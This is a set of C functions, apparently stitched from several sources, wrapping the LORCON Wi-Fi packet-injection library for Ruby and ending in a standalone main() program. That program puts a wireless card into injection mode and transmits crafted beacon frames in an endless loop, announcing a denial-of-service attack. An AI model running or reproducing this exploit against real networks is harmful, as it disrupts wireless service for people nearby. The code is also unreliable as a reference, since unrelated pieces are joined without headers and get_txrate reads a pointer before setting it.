static VALUE lorcon_device_set_mode(VALUE self, VALUE rmode) { struct rldev *rld; char *setmode = StringValuePtr(rmode); int mode = -1; Data_Get_Struct(self, struct rldev, rld); if (strcmp(setmode, "AUTO") == 0) { mode = TX80211_MODE_AUTO; } else if (strcmp(setmode, "ADHOC") == 0) { mode = TX80211_MODE_ADHOC; } else if (strcmp(setmode, "INFRA") == 0) { mode = TX80211_MODE_INFRA; } else if (strcmp(setmode, "MASTER") == 0) { mode = TX80211_MODE_MASTER; } else if (strcmp(setmode, "REPEAT") == 0) { mode = TX80211_MODE_REPEAT; } else if (strcmp(setmode, "SECOND") == 0) { mode = TX80211_MODE_SECOND; } else if (strcmp(setmode, "MONITOR") == 0) { mode = TX80211_MODE_MONITOR; } else { rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx)); return(Qnil); } return INT2NUM(tx80211_setmode(&rld->in_tx, mode)); }
static VALUE lorcon_device_set_txrate(VALUE self, VALUE rrate) { struct rldev *rld; float settxrate = -1; int txrate = -1; Data_Get_Struct(self, struct rldev, rld); if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETRATE) == 0) { rb_raise(rb_eArgError, "Lorcon does not support setting the tx rate for this card"); return(Qnil); } settxrate = NUM2DBL(rrate); if (settxrate == -1) { txrate = TX80211_RATE_DEFAULT; } else if (settxrate == 1) { txrate = TX80211_RATE_1MB; } else if (settxrate == 2) { txrate = TX80211_RATE_2MB; } else if (settxrate == 5.5) { txrate = TX80211_RATE_5_5MB; } else if (settxrate == 6) { txrate = TX80211_RATE_6MB; } else if (settxrate == 9) { txrate = TX80211_RATE_9MB; } else if (settxrate == 11) { txrate = TX80211_RATE_11MB; } else if (settxrate == 24) { txrate = TX80211_RATE_24MB; } else if (settxrate == 36) { txrate = TX80211_RATE_36MB; } else if (settxrate == 48) { txrate = TX80211_RATE_48MB; } else if (settxrate == 108) { txrate = TX80211_RATE_108MB; } else { rb_raise(rb_eArgError, "Lorcon does not support this rate setting"); return(Qnil); } if (tx80211_settxrate(&rld->in_tx, &rld->in_packet, txrate) < 0) { rb_raise(rb_eArgError, "Lorcon could not set the tx rate: %s", tx80211_geterrstr(&rld->in_tx)); return(Qnil); } return INT2NUM(txrate); }
static VALUE lorcon_device_open(int argc, VALUE *argv, VALUE self) { struct rldev *rld; int ret = 0; int drivertype = INJ_NODRIVER; char *driver, *intf; VALUE rbdriver, rbintf; VALUE obj; rb_scan_args(argc, argv, "2", &rbintf, &rbdriver); driver = STR2CSTR(rbdriver); intf = STR2CSTR(rbintf); obj = Data_Make_Struct(cDevice, struct rldev, 0, lorcon_device_free, rld); drivertype = tx80211_resolvecard(driver); if (drivertype == INJ_NODRIVER) { rb_raise(rb_eArgError, "Lorcon did not recognize the specified driver"); return(Qnil); } if (tx80211_init(&rld->in_tx, intf, drivertype) < 0) { rb_raise(rb_eRuntimeError, "Lorcon could not initialize the interface: %s", tx80211_geterrstr(&rld->in_tx)); return(Qnil); } /* Open the interface to get a socket */ ret = tx80211_open(&rld->in_tx); if (ret < 0) { rb_raise(rb_eRuntimeError, "Lorcon could not open the interface: %s", tx80211_geterrstr(&rld->in_tx)); return(Qnil); } rb_obj_call_init(obj, 0, 0); return(obj); }
static VALUE lorcon_device_set_functional_mode(VALUE self, VALUE rmode) { struct rldev *rld; char *funcmode = StringValuePtr(rmode); int mode = -1; Data_Get_Struct(self, struct rldev, rld); if (strcmp(funcmode, "RFMON") == 0) { mode = TX80211_FUNCMODE_RFMON; } else if (strcmp(funcmode, "INJECT") == 0) { mode = TX80211_FUNCMODE_INJECT; } else if (strcmp(funcmode, "INJMON") == 0) { mode = TX80211_FUNCMODE_INJMON; } else { rb_raise(rb_eArgError, "Invalid mode specified: %s", tx80211_geterrstr(&rld->in_tx)); return(Qnil); } if (tx80211_setfunctionalmode(&rld->in_tx, mode) != 0) { rb_raise(rb_eArgError, "Lorcon could not set the functional mode: %s", tx80211_geterrstr(&rld->in_tx)); return(Qnil); } return Qtrue; }
static VALUE lorcon_device_get_txrate(VALUE self) { struct rldev *rld; int txrate; txrate = tx80211_gettxrate(&rld->in_packet); Data_Get_Struct(self, struct rldev, rld); switch (txrate) { case TX80211_RATE_DEFAULT: return UINT2NUM(0); break; case TX80211_RATE_1MB: return UINT2NUM(1); break; case TX80211_RATE_2MB: return UINT2NUM(2); break; case TX80211_RATE_5_5MB: return UINT2NUM(5); break; case TX80211_RATE_6MB: return UINT2NUM(6); break; case TX80211_RATE_9MB: return UINT2NUM(9); break; case TX80211_RATE_11MB: return UINT2NUM(11); break; case TX80211_RATE_24MB: return UINT2NUM(24); break; case TX80211_RATE_36MB: return UINT2NUM(36); break; case TX80211_RATE_48MB: return UINT2NUM(48); break; case TX80211_RATE_108MB: return UINT2NUM(108); break; default: rb_raise(rb_eArgError, "Lorcon could not determine the tx rate: %s", tx80211_geterrstr(&rld->in_tx)); return(Qnil); } return Qnil; }
static void init_lorcon() { /* Parameters for LORCON */ int drivertype = tx80211_resolvecard("iwlwifi"); /* Initialize LORCON tx struct */ if (tx80211_init(&tx, "wlan0", drivertype) < 0) { fprintf(stderr, "Error initializing LORCON: %s\n", tx80211_geterrstr(&tx)); exit(1); } if (tx80211_open(&tx) < 0 ) { fprintf(stderr, "Error opening LORCON interface\n"); exit(1); } /* Set up rate selection packet */ tx80211_initpacket(&tx_packet); }
static VALUE lorcon_device_write(int argc, VALUE *argv, VALUE self) { struct rldev *rld; int ret = 0; int cnt = 0; int dly = 0; VALUE rbbuff, rbcnt, rbdelay; Data_Get_Struct(self, struct rldev, rld); switch(rb_scan_args(argc, argv, "12", &rbbuff, &rbcnt, &rbdelay)) { case 1: rbdelay = INT2NUM(0); case 2: rbcnt = INT2NUM(1); default: break; } cnt = NUM2INT(rbcnt); dly = NUM2INT(rbdelay); rld->in_packet.packet = StringValuePtr(rbbuff); rld->in_packet.plen = RSTRING(rbbuff)->len; for (; cnt > 0; cnt--) { ret = tx80211_txpacket(&rld->in_tx, &rld->in_packet); if (ret < 0) { rb_raise(rb_eRuntimeError, "Lorcon could not transmit packet: %s", tx80211_geterrstr(&rld->in_tx)); return(INT2NUM(ret)); } if (dly > 0) #ifdef _MSC_VER Sleep(dly); #else usleep(dly); #endif } return (rbcnt); }
static VALUE lorcon_device_set_modulation(VALUE self, VALUE rmod) { struct rldev *rld; char *setmod = NULL; int mod; Data_Get_Struct(self, struct rldev, rld); if ((tx80211_getcapabilities(&rld->in_tx) & TX80211_CAP_SETMODULATION) == 0) { rb_raise(rb_eArgError, "Lorcon does not support setting the modulation for this card"); return(Qnil); } setmod = StringValuePtr(rmod); if (strcmp(setmod, "DEFAULT") == 0) { mod = TX80211_MOD_DEFAULT; } else if (strcmp(setmod, "FHSS") == 0) { mod = TX80211_MOD_FHSS; } else if (strcmp(setmod, "DSSS") == 0) { mod = TX80211_MOD_DSSS; } else if (strcmp(setmod, "OFDM") == 0) { mod = TX80211_MOD_OFDM; } else if (strcmp(setmod, "TURBO") == 0) { mod = TX80211_MOD_TURBO; } else if (strcmp(setmod, "MIMO") == 0) { mod = TX80211_MOD_MIMO; } else if (strcmp(setmod, "MIMOGF") == 0) { mod = TX80211_MOD_MIMOGF; } else { rb_raise(rb_eArgError, "Lorcon does not support this modulation setting"); return(Qnil); } if (tx80211_setmodulation(&rld->in_tx, &rld->in_packet, mod) < 0) { rb_raise(rb_eArgError, "Lorcon could not set the modulation: %s", tx80211_geterrstr(&rld->in_tx)); return(Qnil); } return INT2NUM(mod); }
static VALUE lorcon_device_get_mode(VALUE self) { struct rldev *rld; int mode; Data_Get_Struct(self, struct rldev, rld); mode = tx80211_getmode(&rld->in_tx); if (mode < 0) { rb_raise(rb_eArgError, "Lorcon could not determine the mode of this device: %s", tx80211_geterrstr(&rld->in_tx)); return(Qnil); } switch (mode) { case TX80211_MODE_AUTO: return rb_str_new2("AUTO"); break; case TX80211_MODE_ADHOC: return rb_str_new2("ADHOC"); break; case TX80211_MODE_INFRA: return rb_str_new2("INFRA"); break; case TX80211_MODE_MASTER: return rb_str_new2("MASTER"); break; case TX80211_MODE_REPEAT: return rb_str_new2("REPEAT"); break; case TX80211_MODE_SECOND: return rb_str_new2("SECOND"); break; case TX80211_MODE_MONITOR: return rb_str_new2("MONITOR"); break; default: return Qnil; break; } }
int main(int argc, char **argv) { struct tx80211 tx; struct tx80211_packet pkt; char p1[BEACON_NOSSID_LEN]; char p2[BEACON_SSID_LEN]; int ret, drivertype; uint8_t randbyte; if (argc < 3) { usage(argv); return 0; } printf("[+] Initializing interface %s...\n", argv[1]); drivertype = tx80211_resolvecard(argv[2]); if (drivertype == INJ_NODRIVER) { printf("[-] Driver name not recognized.\n"); exit(1); } ret = tx80211_init(&tx, argv[1], drivertype); if (ret < 0) { printf("[-] Error initializing %s/%s", argv[1], argv[2]); exit(1); } ret = tx80211_setfunctionalmode(&tx, TX80211_FUNCMODE_INJMON); if (ret != 0) { printf("[-] Error setting monitor mode.\n"); printf("[-] %s.\n", tx80211_geterrstr(&tx)); exit(1); } ret = tx80211_setchannel(&tx, 11); if (ret < 0) { printf("[-] Error setting channel.\n"); printf("[-] %s.\n", tx80211_geterrstr(&tx)); exit(1); } ret = tx80211_open(&tx); if (ret < 0) { printf("[-] Unable to open interface %s\n", tx.ifname); printf("[-] %s.\n", tx80211_geterrstr(&tx)); exit(1); } srand(time(NULL)); memcpy(p1, BEACON_NOSSID, BEACON_NOSSID_LEN); memcpy(p2, BEACON_SSID, BEACON_SSID_LEN); printf("[+] Injecting crafted DoS beacon frames...\n"); while (1) { randbyte = rand() & 0xff; p1[15] = randbyte; p1[21] = randbyte; p2[15] = randbyte; p2[21] = randbyte; pkt.packet = p1; pkt.plen = BEACON_NOSSID_LEN; if (tx80211_txpacket(&tx, &pkt) < 0) { printf("[-] Unable to transmit packet.\n"); printf("[-] %s.\n", tx80211_geterrstr(&tx)); exit(1); } pkt.packet = p2; pkt.plen = BEACON_SSID_LEN; if (tx80211_txpacket(&tx, &pkt) < 0) { printf("[-] Unable to transmit packet.\n"); printf("[-] %s.\n", tx80211_geterrstr(&tx)); exit(1); } } tx80211_close(&tx); return 0; }